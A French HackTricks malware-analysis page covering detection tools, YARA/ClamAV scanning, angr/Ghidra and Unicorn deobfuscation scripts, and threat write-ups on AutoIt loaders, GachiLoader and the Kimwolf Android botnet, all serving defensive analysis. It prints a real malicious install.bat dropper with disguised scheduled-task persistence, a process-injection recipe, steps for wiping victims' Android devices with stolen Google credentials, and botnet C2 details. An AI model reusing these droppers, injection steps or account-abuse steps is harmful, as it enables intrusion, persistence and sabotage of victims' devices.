Malware Analysis
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Forensics CheatSheets
https://www.jaiminton.com/cheatsheet/DFIR/#
Services en ligne
Outils antivirus et de détection hors ligne
Yara
Installation
sudo apt-get install -y yara
Préparer les rÚgles
Utilisez ce script pour télécharger et fusionner toutes les yara malware rules depuis github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\ Créez le répertoire rules et exécutez-le. Cela créera un fichier appelé malware_rules.yar qui contient toutes les yara rules pour malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scan
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen : Rechercher du malware et créer des rÚgles
Vous pouvez utiliser lâoutil YaraGen pour gĂ©nĂ©rer des rĂšgles YARA Ă partir dâun binaire. Consultez ces tutoriels : Part 1, Part 2, Part 3.
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Installation
sudo apt-get install -y clamav
Analyse
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa détecte potentiellement des capabilities dans les exécutables : PE, ELF, .NET. Il trouvera donc des éléments tels que Att&ck tactics, ou des capabilities suspectes telles que :
- check for OutputDebugString error
- run as a service
- create process
Récupérez-le dans le Github repo.
IOCs
IOC signifie Indicator Of Compromise. Un IOC est un ensemble de conditions qui identifient certains logiciels potentiellement indésirables ou confirmés comme malware. Les Blue Teams utilisent ce type de définition pour rechercher ce type de fichiers malveillants dans leurs systÚmes et réseaux.
Partager ces dĂ©finitions est trĂšs utile : quand un malware est identifiĂ© sur un ordinateur et quâun IOC pour ce malware est créé, dâautres Blue Teams peuvent lâutiliser pour identifier le malware plus rapidement.
Un outil pour créer ou modifier des IOCs est IOC Editor.
Vous pouvez utiliser des outils comme Redline pour chercher des IOCs définis sur un appareil.
Loki
Loki est un scanner pour Simple Indicators of Compromise.
La détection est basée sur quatre méthodes de détection :
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) est un scanner de malware pour Linux distribuĂ© sous la licence GNU GPLv2, conçu pour les menaces rencontrĂ©es dans les environnements dâhĂ©bergement mutualisĂ©. Il utilise des donnĂ©es de menace provenant de systĂšmes de dĂ©tection dâintrusion en pĂ©riphĂ©rie rĂ©seau pour extraire les malware activement utilisĂ©s dans des attaques et gĂ©nĂšre des signatures pour la dĂ©tection. De plus, des donnĂ©es de menace proviennent aussi des soumissions dâutilisateurs via la fonctionnalitĂ© LMD checkout et des ressources communautaires sur les malware.
rkhunter
Des outils comme rkhunter peuvent ĂȘtre utilisĂ©s pour vĂ©rifier le systĂšme de fichiers Ă la recherche de rootkits et de malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS est un outil qui tentera de trouver des obfuscated strings Ă lâintĂ©rieur dâexĂ©cutables en utilisant diffĂ©rentes techniques.
PEpper
PEpper vĂ©rifie quelques Ă©lĂ©ments basiques Ă lâintĂ©rieur de lâexĂ©cutable (binary data, entropy, URLs and IPs, some yara rules).
PEstudio
PEstudio est un outil qui permet dâobtenir des informations sur les exĂ©cutables Windows tels que imports, exports, headers, mais vĂ©rifie aussi virus total et identifie dâĂ©ventuelles Att&ck techniques.
Detect It Easy(DiE)
DiE est un outil pour détecter si un fichier est encrypted et aussi trouver des packers.
NeoPI
NeoPI est un script Python qui utilise diverses mĂ©thodes statistiques pour dĂ©tecter du contenu obfuscated et encrypted dans des fichiers texte/script. Le but de NeoPI est dâaider Ă la dĂ©tection de code web shell cachĂ©.
php-malware-finder
PHP-malware-finder fait de son mieux pour détecter du obfuscated/dodgy code ainsi que des fichiers utilisant des fonctions PHP souvent utilisées dans des malwares/webshells.
Apple Binary Signatures
Lors de lâanalyse dâun malware sample, vous devriez toujours vĂ©rifier la signature du binaire car le dĂ©veloppeur qui lâa signĂ© peut dĂ©jĂ ĂȘtre liĂ© au malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the appâs contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Techniques de détection
Empilage de fichiers
Si vous savez quâun dossier contenant les fichiers dâun serveur web a Ă©tĂ© derniĂšrement mis Ă jour Ă une certaine date, vĂ©rifiez la date de crĂ©ation et de modification de tous les fichiers du serveur web et si une date est suspecte, examinez ce fichier.
Lignes de base
Si les fichiers dâun dossier nâauraient pas dĂ» ĂȘtre modifiĂ©s, vous pouvez calculer le hash des fichiers originaux du dossier et les comparer avec ceux actuels. Tout ce qui est modifiĂ© sera suspect.
Analyse statistique
Quand lâinformation est enregistrĂ©e dans des logs, vous pouvez vĂ©rifier des statistiques telles que le nombre de fois oĂč chaque fichier dâun serveur web a Ă©tĂ© accĂ©dĂ©, car un web shell pourrait ĂȘtre lâun des plus sollicitĂ©s.
Télémétrie native in-app Android (sans root)
Sur Android, vous pouvez instrumenter le code natif Ă lâintĂ©rieur du processus de lâapplication cible en prĂ©chargeant une petite librairie de logging avant lâinitialisation des autres libs JNI. Cela donne une visibilitĂ© prĂ©coce sur le comportement natif sans hooks systĂšme globaux ni root. Une approche populaire est SoTap : dĂ©poser libsotap.so pour le bon ABI dans lâAPK et injecter un appel System.loadLibrary(âsotapâ) tĂŽt (p.ex. initialiseur statique ou Application.onCreate), puis collecter les logs depuis des chemins internes/externes ou en utilisant Logcat en fallback.
Voir la page Android native reversing pour les dĂ©tails dâinstallation et les chemins de logs :
Déobfuscation de chaßnes natives Android/JNI avec angr + Ghidra
Certaines malwares Android et des apps protĂ©gĂ©es par RASP cachent les noms et signatures de mĂ©thodes JNI en les dĂ©codant Ă lâexĂ©cution avant dâappeler RegisterNatives. Quand lâinstrumentation Frida/ptrace est interrompue par des anti-debug, vous pouvez toujours rĂ©cupĂ©rer le texte en clair hors ligne en exĂ©cutant le dĂ©codeur incorporĂ© avec angr puis en poussant les rĂ©sultats dans Ghidra en tant que commentaires.
IdĂ©e clĂ© : traiter le dĂ©codeur Ă lâintĂ©rieur du .so comme une fonction appelable, lâexĂ©cuter sur les blobs dâoctets obfusquĂ©s dans .rodata, et concrĂ©tiser les octets de sortie jusquâau premier \x00 (terminateur C-string). Gardez angr et Ghidra avec la mĂȘme image base pour Ă©viter les dĂ©calages dâadresses.
Aperçu du workflow
- Triage dans Ghidra : identifier le dĂ©codeur et sa convention dâappel/arguments dans JNI_OnLoad et la configuration de RegisterNatives.
- Exécuter angr (CPython3) pour exécuter le décodeur pour chaque chaßne cible et dumper les résultats.
- Annoter dans Ghidra : auto-commenter les chaĂźnes dĂ©codĂ©es Ă chaque site dâappel pour une reconstruction JNI rapide.
Triage dans Ghidra (pattern JNI_OnLoad)
- Appliquez les JNI datatypes Ă JNI_OnLoad afin que Ghidra reconnaisse les structures JNINativeMethod.
- JNINativeMethod typique dâaprĂšs la doc Oracle :
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Cherchez les appels Ă RegisterNatives. Si la librairie construit le name/signature via une routine locale (p.ex. FUN_00100e10) qui rĂ©fĂ©rence une table dâoctets statique (p.ex. DAT_00100bf4) et prend des paramĂštres comme (encoded_ptr, out_buf, length), câest une cible idĂ©ale pour une exĂ©cution hors ligne.
angr setup (exécuter le décodeur hors ligne)
- Chargez le .so avec la mĂȘme base utilisĂ©e dans Ghidra (exemple : 0x00100000) et dĂ©sactivez lâauto-chargement des libs externes pour garder lâĂ©tat lĂ©ger.
Configuration d'angr et exécution hors ligne du décodeur
```python import angr, jsonproject = angr.Project( â/path/to/libtarget.soâ, load_options={âmain_optsâ: {âbase_addrâ: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(bâ\x00â, 1)[0].decode(âutf-8â, errors=âignoreâ)
Example: decode a JNI signature at 0x100933 of length 5 â should be ()[B
print(decode_string(0x00100933, 5))
</details>
- à grande échelle, construisez une cartographie statique des call sites vers les arguments du décodeur (encoded_ptr, size). Les wrappers peuvent masquer les arguments, donc vous pouvez créer cette correspondance manuellement à partir des xrefs Ghidra si la récupération d'API est bruyante.
<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Annoter les sites dâappel dans Ghidra Option A : script Jython uniquement pour Ă©crire des commentaires (utiliser un JSON prĂ©-calculĂ©)
- Ătant donnĂ© quâangr requiert CPython3, sĂ©parez la dĂ©obfuscation et lâannotation. ExĂ©cutez dâabord le script angr ci-dessus pour produire decoded_strings.json. Ensuite, lancez ce GhidraScript Jython pour Ă©crire PRE_COMMENTs Ă chaque site dâappel (et inclure le nom de la fonction appelante pour le contexte) :
Script Jython Ghidra pour annoter les chaßnes JNI décodées
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(âSelect decoded_strings.jsonâ, âLoadâ) mapping = json.load(open(f.absolutePath, ârâ)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else â%s @ %sâ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(â[+] Annotated %d call sitesâ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidraâs API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsiteâfunction map via ReferenceManager, decode with angr, and set comments.
Why this works and when to use it
- L'exécution hors-ligne évite les mécanismes RASP/anti-debug : pas de ptrace, pas de Frida hooks nécessaires pour récupérer les strings.
- Maintenir Ghidra et angr alignĂ©s sur le mĂȘme base_addr (par ex. 0x00100000) garantit que les adresses de fonctions/donnĂ©es correspondent entre les outils.
- Recette reproductible pour les decoders : traiter la transformation comme une fonction pure, allouer un buffer de sortie dans un état neuf, l'appeler avec (encoded_ptr, out_ptr, len), puis concrétiser via state.solver.eval et parser les C-strings jusqu'à \x00.
Notes and pitfalls
- Respectez l'ABI cible / la convention d'appel. angr.factory.callable en choisit une selon l'arch ; si les arguments semblent décalés, spécifiez cc explicitement.
- Si le decoder attend des buffers de sortie remplis de zéros, initialisez outbuf avec des zéros dans l'état avant l'appel.
- Pour les .so Android position-independent, fournissez toujours base_addr afin que les adresses dans angr correspondent Ă celles vues dans Ghidra.
- Utilisez currentProgram.getReferenceManager() pour Ă©numĂ©rer les call-xrefs mĂȘme si l'app encapsule le decoder derriĂšre de fines stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Les familles de malware modernes abusent fortement de l'obfuscation du Control-Flow Graph (CFG) : au lieu d'un jump/call direct elles calculent la destination à l'exécution puis exécutent un `jmp rax` ou `call rax`. Un petit *dispatcher* (typiquement neuf instructions) fixe la cible finale en fonction des flags CPU `ZF`/`CF`, brisant complÚtement la récupération statique du CFG.
La technique â illustrĂ©e par le loader SLOW#TEMPEST â peut ĂȘtre vaincue avec un workflow en trois Ă©tapes qui ne repose que sur IDAPython et le Unicorn CPU emulator.
### 1. Localisez chaque saut / appel indirect
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Extraire le byte-code du dispatcher
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Ămulez-le deux fois avec Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Exécutez run(code,0,0) et run(code,1,1) pour obtenir les cibles de branche false et true.
4. Remettre en place un jump / call direct
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
AprÚs le patch, forcez IDA à réanalyser la fonction afin que le CFG complet et la sortie Hex-Rays soient restaurés :
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Ătiqueter les appels API indirects
Une fois que la destination rĂ©elle de chaque call rax est connue, vous pouvez indiquer Ă IDA ce que câest afin que les types de paramĂštres et les noms de variables soient rĂ©cupĂ©rĂ©s automatiquement :
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Avantages pratiques
- Restaure le vrai CFG â la dĂ©compilation passe de 10 lignes Ă des milliers.
- Permet string-cross-reference & xrefs, rendant la reconstruction du comportement triviale.
- Les scripts sont rĂ©utilisables : dĂ©posez-les dans nâimporte quel loader protĂ©gĂ© par la mĂȘme astuce.
Loaders basés sur AutoIt : déchiffrement .a3x, usurpation Task Scheduler et injection RAT
Ce schĂ©ma dâintrusion enchaĂźne un MSI signĂ©, des loaders AutoIt compilĂ©s en .a3x, et une tĂąche Task Scheduler se faisant passer pour une application bĂ©nigne.
MSI â custom actions â AutoIt orchestrator
Arbre des processus et commandes exécutées par les custom actions du MSI :
- MsiExec.exe â cmd.exe pour exĂ©cuter install.bat
- WScript.exe pour afficher une boĂźte de dialogue dâerreur factice
%SystemRoot%\system32\cmd.exe /c %APPDATA%\ì€ížë ì€ íŽëŠŹìŽ\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\ì€ížë ì€ íŽëŠŹìŽ\error.vbs
install.bat (dĂ©pose le loader, configure la persistence, sâauto-nettoie):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (leurre utilisateur):
MsgBox "íìŹ ìì€í
ìžìŽí©êłŒ íëĄê·žëš ìžìŽí©ìŽ ížíëì§ ìì ì€íí ì ìì”ëë€." & vbCrLf & _
"ì€ì ìì íê”ìŽ(ëíëŻŒê”) ìžìŽí©ì ì€ìčíê±°ë ëłêČœí ë€ ë€ì ì€ííŽ ìŁŒìžì.", _
vbCritical, "ìžìŽí© ì€ë„"
Artefacts clés et usurpation :
- Dépose AutoIt3.exe et IoKlTr.au3 dans C:\Users\Public\Music
- Copie schtasks.exe vers hwpviewer.exe (se faisant passer pour Hangul Word Processor viewer)
- CrĂ©e une tĂąche planifiĂ©e âIoKlTrâ qui sâexĂ©cute toutes les 1 minute
- Raccourci de démarrage observé sous Smart_Web.lnk ; mutex :
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Place des modules sous %APPDATA%\Google\Browser\ dans des sous-dossiers contenant
adbouadvet les démarre via les helpers autoit.vbs/install.bat
Forensic triage tips :
- ĂnumĂ©ration schtasks :
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Rechercher des copies renommées de schtasks.exe co-localisées avec le Task XML :
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Chemins communs :
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Corréler la création de processus : AutoIt3.exe lançant des binaires Windows légitimes (par ex., cleanmgr.exe, hncfinder.exe)
AutoIt loaders and .a3x payload decryption â injection
- Les modules AutoIt sont compilés avec
#AutoIt3Wrapper_Outfile_type=a3xet déchiffrent les payloads embarqués avant de les injecter dans des processus bénins. - Familles observées : QuasarRAT (injecté dans hncfinder.exe) et RftRAT/RFTServer (injecté dans cleanmgr.exe), ainsi que des modules RemcosRAT (
Remcos\RunBinary.a3x). - Schéma de déchiffrement : dériver une clé AES via HMAC, déchiffrer le blob embarqué, puis injecter le module en clair.
Squelette gĂ©nĂ©rique de dĂ©chiffrement (lâentrĂ©e/algorithme HMAC exact est spĂ©cifique Ă la famille) :
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 â first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Common injection flow (CreateRemoteThread-style):
- CreateProcess (suspended) du processus cible (par ex., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory avec le module/shellcode déchiffré
- CreateRemoteThread ou QueueUserAPC pour exécuter le payload
Hunting ideas
- AutoIt3.exe dont le parent est MsiExec.exe ou WScript.exe et qui lance des utilitaires systĂšme
- Fichiers avec lâextension
.a3xou AutoIt script runners sous des chemins publics/inscriptibles par lâutilisateur - TĂąches planifiĂ©es suspectes exĂ©cutant AutoIt3.exe ou des binaires non signĂ©s par Microsoft, avec des dĂ©clencheurs Ă lâĂ©chelle de la minute
Abus de prise de contrĂŽle de compte via Android Find My Device (Find Hub)
Pendant lâintrusion Windows, les opĂ©rateurs ont utilisĂ© des identifiants Google volĂ©s pour effacer Ă plusieurs reprises les appareils Android de la victime, en supprimant les notifications pendant quâils Ă©tendaient lâaccĂšs via le client messenger de bureau de la victime.
Operator steps (from a logged-in browser session):
- Review Google Account â Security â Your devices; follow Find My Phone â Find Hub (https://www.google.com/android/find)
- Select device â re-enter Google password â issue âErase deviceâ (factory reset); repeat to delay recovery
- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications
Tracing heavily obfuscated Node.js loaders
Les attaquants intĂšgrent de plus en plus des JavaScript loaders dans des binaires Windows autonomes compilĂ©s avec nexe, de sorte que le runtime est livrĂ© avec le script. Le PE rĂ©sultant pĂšse souvent 60â90âŻMB et sâexĂ©cute mĂȘme si Node.js nâest pas installĂ©. Lors du triage :
- Use
nexe_unpackerto carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing. - Expect a disk-based mutex in
%TEMP%(GachiLoader drops a random<name>.lockfile that expires after ~5âŻminutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.
Node.js API tracing to defeat anti-analysis
Check Pointâs Nodejs-Tracer accroche les modules core dans nâimporte quel process Node.js, permet de simuler les sondes anti-VM, et prĂ©serve tous les artefacts Ă©crits par lâĂ©chantillon. Lancez les scripts obfusquĂ©s via le tracer afin de garder lâinstrumentation contrĂŽlĂ©e par lâanalyste dans la pile dâappels:
node -r .\tracer.js main.js
Les principaux commutateurs de configuration dans tracer.js vous permettent de :
- Consigner lâactivitĂ© du systĂšme de fichiers, des processus enfants et HTTP (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Chaque fichier dĂ©posĂ© â tel quekidkadi.nodeâ est copiĂ© dans le rĂ©pertoire de travail avant que le malware ne le supprime. - Remplacer les empreintes de lâenvironnement en renvoyant des nombres rĂ©alistes de RAM/CPU, en falsifiant la sortie de
tasklistet en altĂ©rant les rĂ©ponses PowerShell/WMI. Cela contourne les loaders qui exigent â„4âŻGB RAM, â„2 cores, et qui examinent les noms dâutilisateur (mashinesssss,wdagutilityaccount, etc.), les hostnames (desktop-vrsqlag,server1âŠ) et les noms de processus (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Neutraliser les vĂ©rifications matĂ©rielles WMI telles que
Get-WmiObject Win32_DiskDrive(recherchantvmware,kvm,virtio, âŠ),Win32_VideoController(bloquant âVirtualBox Graphics Adapterâ, âHyper-V Videoâ, etc.) et les compteursWin32_PortConnector. Lorsque ces sondes rapportent du matĂ©riel ârĂ©elâ, les sandboxes ne tombent plus dans la boucle infinie dâappels bĂ©ninsInvoke-WebRequestverslinkedin.com,grok.com,whatsapp.comet des domaines similaires que GachiLoader utilise pour faire perdre du temps dâanalyse.
Capturer automatiquement le trafic C2 restreint
Les hooks réseau du tracer révÚlent une authentification C2 à couches multiples sans avoir à désobfusquer le JavaScript. Dans la campagne observée, le loader :
- Envoie via POST la tĂ©lĂ©mĂ©trie de lâhĂŽte Ă
/logsur chaque C2 codé en dur. - Effectue un
GET /richfamily/<per-sample key>avecX-Secret: gachifamilypour récupérer une URL de payload encodée en Base64. - Effectue un
GETfinal vers cette URL avec un long en-tĂȘteX-SecretspĂ©cifique Ă lâĂ©chantillon ; sans cet en-tĂȘte le serveur renvoie403 Forbidden.
Parce que le tracer enregistre les requĂȘtes complĂštes (headers, bodies, destinations), vous pouvez rejouer le mĂȘme trafic pour rĂ©cupĂ©rer des payloads, dumper des shells Themida/VMProtect en mĂ©moire et extraire Ă grande Ă©chelle les donnĂ©es de configuration Rhadamanthys.
AdaptixC2 : Configuration Extraction and TTPs
Voir la page dédiée :
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- Les APK malveillants tels que
com.n2.systemservice06*embarquent un ELF ARM liĂ© statiquement dansres/raw(par ex.R.raw.libniggakernel). UnBOOT_COMPLETEDreceiver sâexĂ©cute au dĂ©marrage, extrait la ressource raw dans le sandbox de lâapplication (par ex./data/data/<pkg>/niggakernel), la rend exĂ©cutable et lâinvoque avecsu. - Beaucoup de Android TV boxes/tablettes sont livrĂ©s avec des images prĂ©-rootĂ©es ou un
suaccessible en Ă©criture par tous, donc le loader dĂ©marre de maniĂšre fiable lâELF avec UID 0 mĂȘme sans chaĂźne dâexploit. La persistance est « gratuite » car le receiver relance aprĂšs chaque reboot ou redĂ©marrage de lâapplication. - Reverse engineers hunting for this pattern can diff
AndroidManifest.xmlfor hidden boot receivers plus code that referencesResources.openRawResourceâFileOutputStreamâRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- Au démarrage, Kimwolf bind un abstract UNIX domain socket tel que
@niggaboxv4/@niggaboxv5. Des sockets existants forcent la sortie, donc le nom du socket sert Ă la fois de mutex et dâartĂ©fact forensique. - Le titre du processus est Ă©crasĂ© par des noms ressemblant Ă des services (
netd_services,tv_helper, etc.) pour se fondre dans les listes de processus Android. Les dĂ©tections basĂ©es sur lâhĂŽte peuvent alerter sur ces noms combinĂ©s au socket mutex.
Stack XOR string decoding with ARM NEON + flare_emu
- Les chaßnes sensibles (domaines C2, resolvers, DoT endpoints) sont poussées sur la pile en blocs chiffrés de 8 octets et décodées in situ via
VEOR Qx, Qx, Qy(veorq_s64). Les analystes peuvent Ă©crire des scripts pour flare_emu afin dâattraper le pointeur dĂ©chiffrĂ© chaque fois que le dĂ©chiffreur le remet Ă lâappelant :
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Recherche de séquences
VEOR Q8, Q8, Q9/veorq_s64et émulation de leurs plages qui provoque le vidage en masse de chaque chaßne déchiffrée, contournant la durée de vie stack-only du plaintext.
DNS-over-TLS resolution plus dĂ©rivation dâIP par XOR
- Toutes les variantes Kimwolf résolvent les domaines C2 en utilisant DNS-over-TLS (TCP/853) directement avec Google (8.8.8.8) ou Cloudflare (1.1.1.1), contournant la journalisation DNS simple ou le détournement.
- Les bots v4 utilisent simplement lâenregistrement A IPv4 retournĂ©. Les bots v5 traitent lâenregistrement A comme un entier 32 bits, inversent son endianness, le XORisent avec la constante
0x00ce0491, puis rĂ©-inversent lâendianness pour obtenir la vĂ©ritable IP C2. Recette CyberChef : Changer le format IP â inverser lâendianness par tranche de 4 octets â XOR avec00 ce 04 91â convertir en dĂ©cimal pointĂ©.
ENS / EtherHiding fallback
- Les builds ultérieurs ajoutent un domaine ENS (
pawsatyou.eth) dont la clĂ© de texte du resolver"lol"stocke une IPv6 Ă lâapparence bĂ©nigne (fed0:5dec:...:1be7:8599). - Le bot rĂ©cupĂšre les quatre derniers octets (
1b e7 85 99), les XORise avec0x93141715, et interprĂšte le rĂ©sultat comme une IPv4 C2 (136.243.146.140). Mettre Ă jour lâenregistrement texte ENS fait pivoter instantanĂ©ment les C2 en aval via la blockchain sans toucher au DNS.
TLS + ECDSA authenticated command channel
- Le trafic est encapsulé dans wolfSSL avec un protocole encadré personnalisé :
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap : le bot envoie deux en-tĂȘtes vides
MsgType=0 (register). Le C2 rĂ©pond avecMsgType=1 (verify)contenant un challenge alĂ©atoire plus une signature ECDSA ASN.1 DER. Les bots la vĂ©rifient contre un blob SubjectPublicKeyInfo embarquĂ© ; les Ă©checs terminent la session, empĂȘchant des nĆuds C2 hijacked/sinkholed dâordonner des tĂąches Ă la flotte. - Une fois vĂ©rifiĂ©, le bot envoie un corps
MsgType=0portant la group string dĂ©finie par lâopĂ©rateur (p.ex.android-postboot-rt). Si le groupe est activĂ©, le C2 rĂ©pond parMsgType=2 (confirm), aprĂšs quoi le tasking (MsgType 5â12) commence. - Les verbes supportĂ©s incluent le proxying TCP/UDP de type SOCKS (residential proxy monetization), reverse shell / single command exec, lecture/Ă©criture de fichiers, et des payloads Mirai-compatible DDoSBody (mĂȘme agencement
AtkType,Duration,Targets[],Flags[]).
Références
- Unit42 â Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger â github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation â revflash.medium.com
- Ghidra â github.com/NationalSecurityAgency/ghidra
- angr â angr.io
- JNI_OnLoad and invocation API â docs.oracle.com
- RegisterNatives â docs.oracle.com
- Tracing JNI Functions â valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions â laripping.com
- Unit42 â AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
